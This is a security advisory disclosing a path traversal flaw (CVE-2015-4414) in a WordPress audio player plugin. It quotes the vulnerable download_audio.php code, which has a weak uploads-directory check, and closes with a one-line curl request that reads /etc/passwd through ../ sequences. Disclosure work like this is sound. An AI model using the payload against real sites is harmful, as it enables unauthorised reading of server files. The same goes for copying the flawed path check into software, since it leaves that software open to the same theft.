Path Traversal vulnerability in Wordpress plugin se-html5-album-audio-player v1.1.0

Title: Path Traversal vulnerability in Wordpress plugin se-html5-album-audio-player v1.1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2015-06-06
Advisory: http://www.vapid.dhs.org/advisory.php?v=124
Download Site: https://wordpress.org/plugins/se-html5-album-audio-player/
Vendor: https://profiles.wordpress.org/sedevelops/
Vendor Notified: 2015-06-06
Vendor Contact: https://profiles.wordpress.org/sedevelops/
Description:
An HTML5 Album Audio Player. A plugin to archive, present, and play collections of mp3s (or other html5 audio formats) as albums within your post.

Vulnerability:
The se-html5-album-audio-player v1.1.0  plugin for wordpress has a remote file download vulnerability.  The download_audio.php file does not correctly check the file path, it only attempts to check if the path is in /wp-content/uploads which is easily defeated with ../.

This vulnerability doesn’t require authentication to the Wordpress site.

File ./se-html5-album-audio-player/download_audio.php:

3 $file_name = $_SERVER['DOCUMENT_ROOT'] . $_GET['file'];
4 $is_in_uploads_dir = strpos($file_name, '/wp-content/uploads/');
5 // make sure it's a file before doing anything!
6 if( is_file($file_name) && $is_in_uploads_dir !== false ) {
7
8         // required for IE
9         if(ini_get('zlib.output_
compression')) { ini_set('zlib.output_compression', 'Off');         }
10
11         // get the file mime type using the file extension
12         switch(strtolower(substr(strrchr($file_name, '.'), 1))) {
13                 case 'pdf': $mime = 'application/pdf'; break;
14                 case 'zip': $mime = 'application/zip'; break;
15                 case 'jpeg':
16                 case 'jpg': $mime = 'image/jpg'; break;
17                 default: $mime = 'application/force-download';
18         }
19         header('Pragma: public');       // required
20         header('Expires: 0');           // no cache
21         header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
22         header('Last-Modified: '.gmdate ('D, d M Y H:i:s', filemtime ($file_name)).' GMT');
23         header('Cache-Control: private',false);
24         header('Content-Type: '.$mime);
25         header('Content-Disposition: attachment; filename="'.basename($file_name).'"');
26         header('Content-Transfer-Encoding: binary');
27         header('Content-Length: '.filesize($file_name));        // provide file size
28         header('Connection: close');
29         readfile($file_name);           // push it out
30         exit();

The above code does not verify if a user is logged in, and do proper sanity checking if the file is outside of the uploads directory.

CVEID: 2015-4414
OSVDB:
Exploit Code:
        • $ curl http://www.vapidlabs.com/wp-content/plugins/se-html5-album-audio-player/download_audio.php?file=/wp-content/uploads/../../../../../etc/passwd